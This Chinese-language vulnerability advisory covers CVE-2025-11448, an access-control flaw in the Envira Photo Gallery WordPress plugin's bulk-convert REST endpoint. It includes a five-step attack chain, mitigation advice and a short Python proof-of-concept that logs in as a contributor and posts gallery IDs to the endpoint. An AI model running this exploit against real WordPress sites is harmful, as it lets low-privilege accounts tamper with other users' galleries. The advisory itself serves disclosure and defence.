IPBUF安全漏洞报告
English
CVE-2025-11448 CVSS 4.3 中危

CVE-2025-11448 WordPress Envira Photo Gallery 权限绕过漏洞

披露日期: 2025-11-08

漏洞信息

漏洞编号
CVE-2025-11448
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Envira Photo Gallery WordPress Plugin

相关标签

权限绕过WordPress插件REST API缺少权限检查Envira Photo GalleryCVE-2025-11448访问控制中危漏洞

漏洞概述

Envira Photo Gallery是WordPress平台上广受欢迎的画廊插件,用于创建和管理照片画廊。该插件在1.11.0及之前版本中存在严重的权限绕过漏洞。漏洞根源在于插件的REST API端点'/envira-convert/v1/bulk-convert'缺少适当的能力检查(capability check),导致任何已认证用户,无论其权限级别如何,都可以调用该API执行画廊转换操作。这意味着具有contributor级别访问权限的攻击者即可利用此漏洞,将任意画廊转换为Envira画廊格式,可能导致内容被未授权篡改、数据完整性受损等安全问题。该漏洞CVSS评分为4.3,属于中等严重程度,主要影响机密性和完整性。

技术细节

该漏洞属于OWASP Top 10中的'A01:2021 - Broken Access Control'类别。具体来说,插件在注册REST API路由时未正确验证用户权限。Envira Photo Gallery插件通过WordPress REST API暴露了'/envira-convert/v1/bulk-convert'端点,用于批量转换画廊格式。正常情况下,此类敏感操作应要求管理员权限,但插件直接使用了WordPress默认的register_rest_route()函数注册路由,未添加任何权限回调检查。攻击者只需拥有一个具有contributor角色的WordPress账户,即可构造恶意POST请求调用该端点。请求体需包含目标画廊ID列表,API将无验证地执行转换操作。攻击者可利用此漏洞修改其他用户创建的画廊内容,造成数据篡改。

攻击链分析

STEP 1
步骤1:侦察阶段
攻击者识别目标WordPress站点并确认安装了Envira Photo Gallery插件版本<=1.11.0
STEP 2
步骤2:获取访问权限
攻击者获得WordPress contributor级别账户(通过社会工程、凭证泄露或其他方式)
STEP 3
步骤3:构造恶意请求
攻击者构造POST请求到/wp-json/envira-convert/v1/bulk-convert端点,包含目标画廊ID列表
STEP 4
步骤4:执行攻击
发送恶意请求,由于缺少权限检查,API将无验证地执行画廊转换操作
STEP 5
步骤5:达成目标
画廊被未授权转换为Envira格式,可能导致内容篡改、数据完整性破坏或拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # WordPress target URL target_url = "http://target-wordpress-site.com" # Authentication credentials (contributor account) username = "attacker" password = "contributor_password" # Login to WordPress and get nonce session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In' } # Perform login session.post(login_url, data=login_data) # Exploit the vulnerable REST API endpoint api_url = f"{target_url}/wp-json/envira-convert/v1/bulk-convert" headers = { 'Content-Type': 'application/json', 'X-WP-Nonce': session.cookies.get('wordpress_test_cookie') or '' } # Malicious payload to convert galleries payload = { 'gallery_ids': [1, 2, 3, 4, 5], 'convert_to': 'envira' } # Send exploit request response = session.post(api_url, json=payload, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}")

影响范围

Envira Photo Gallery WordPress Plugin <= 1.11.0

防御指南

临时缓解措施
如果无法立即升级插件,可临时采取以下措施:1) 限制新用户注册,特别是contributor角色;2) 使用WordPress安全插件禁用敏感的REST API端点;3) 通过.htaccess或Nginx配置限制对/wp-json/envira-convert/路径的访问;4) 监控日志中的异常API调用行为。但最根本的解决方案仍是升级到插件最新版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表